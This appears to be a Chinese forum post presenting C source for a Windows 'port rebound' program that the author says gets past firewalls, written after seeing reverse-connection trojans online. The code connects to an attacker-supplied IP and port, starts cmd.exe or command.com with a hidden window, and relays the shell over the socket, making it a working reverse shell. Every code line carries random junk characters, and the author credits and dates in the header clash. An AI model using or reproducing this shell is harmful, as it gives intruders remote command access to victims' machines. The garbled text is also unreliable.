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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 QOEcp% 6I}  
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/* ============================== L=VJl[DL  
Rebound port in Windows NT ]U! ?{~  
By wind,2006/7 Bh"o{-$p8`  
===============================*/ ,F.\z^\{  
#include W<xu*U(A  
#include )O"5dF1l  
Sh*LD QL<?  
#pragma comment(lib,"wsock32.lib") /{d7%Et6  
,S2D/Y^>  
void OutputShell(); H{E223  
SOCKET sClient; %rzC+=*;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :U0z;  
eFp4MD8?  
void main(int argc,char **argv) B~V^?."  
{ 41^+T<+  
WSADATA stWsaData; /^ i7^  
int nRet; 5K;jW  
SOCKADDR_IN stSaiClient,stSaiServer; ~0!s5  
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if(argc != 3) nxKV7d@R  
{ votv rZ=  
printf("Useage:\n\rRebound DestIP DestPort\n"); cMsm[D{b  
return; - ~T LI&[  
} V"#ie Y n  
tVvRT*>Wb  
WSAStartup(MAKEWORD(2,2),&stWsaData); g599Lc&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #Fl "#g$  
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stSaiClient.sin_family = AF_INET; s|dcO  
stSaiClient.sin_port = htons(0); 0[7\p\Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {l%Of  
&#F>%~<or  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  [:  
{ 200/  
printf("Bind Socket Failed!\n"); cclx$)X1X  
return; d0"Hu^]  
} %]h5\%@w  
c]v $C&FX  
stSaiServer.sin_family = AF_INET; (xBS~}e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (Gp/^[.%&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); h<f_Eo z-a  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #;)Oi9{9;  
{ >u ,Ac:  
printf("Connect Error!"); xqs{d&W  
return;  ztKmB  
} 4%LGP h  
OutputShell(); %YlL-*7 L  
} L%}k.)yev  
"G].hKgbk*  
void OutputShell() )pJ} $[6  
{ y>_lxLhmO#  
char szBuff[1024]; J70#pF  
SECURITY_ATTRIBUTES stSecurityAttributes; (, /`*GC  
OSVERSIONINFO stOsversionInfo; __fa,kK{?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7IB<0  
STARTUPINFO stStartupInfo; WUm8 3"  
char *szShell; D>|m8-@]  
PROCESS_INFORMATION stProcessInformation; /bv1R5  
unsigned long lBytesRead; vxhs1vh  
7xTgG!>v  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rU=qr&f"B  
brx 7hI  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); }><Vc ouJ[  
stSecurityAttributes.lpSecurityDescriptor = 0; c>#T\AEkF  
stSecurityAttributes.bInheritHandle = TRUE; jNhiY  
Ua\]]<hj"  
"j;"\i0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b R> G%*a  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2a|9D \  
: W6`{Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;gLHSHEA  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ecDni>W  
stStartupInfo.wShowWindow = SW_HIDE; V9&7K65-1  
stStartupInfo.hStdInput = hReadPipe; >?aPX C  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {AUhF}O  
[-5%[ty9X  
GetVersionEx(&stOsversionInfo); Sio^FOTD  
0tyoH3o/d  
switch(stOsversionInfo.dwPlatformId) ?f f!(U  
{ X|zQZ<CO  
case 1: Hof@,w  
szShell = "command.com"; W=:4I[a6Q  
break; N4]QmRX/j  
default: 3tzb@T  
szShell = "cmd.exe"; .sI*\@w.  
break; _uwM%M;  
} /~~aK2{^X~  
h+=xG|1R[5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ecaEWIOG  
N3O3V5':!  
send(sClient,szMsg,77,0); v|fA)W w  
while(1) B3|h$aKC  
{ P'%#B&LZo  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dO]N&'P7  
if(lBytesRead) E-gI'qG\(  
{ .' foS>W=t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tljZE)  
send(sClient,szBuff,lBytesRead,0); XrP'FLY o  
} 8T<LNC  
else ;w>Dqem  
{ uq?((  
lBytesRead=recv(sClient,szBuff,1024,0); KYa}k0tVAp  
if(lBytesRead<=0) break; Q+@/.qJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [A~n=m5H  
} zntvKOIh  
} .)=T1^[hI  
jB) RvvMU5  
return; &U*MLf83`  
}
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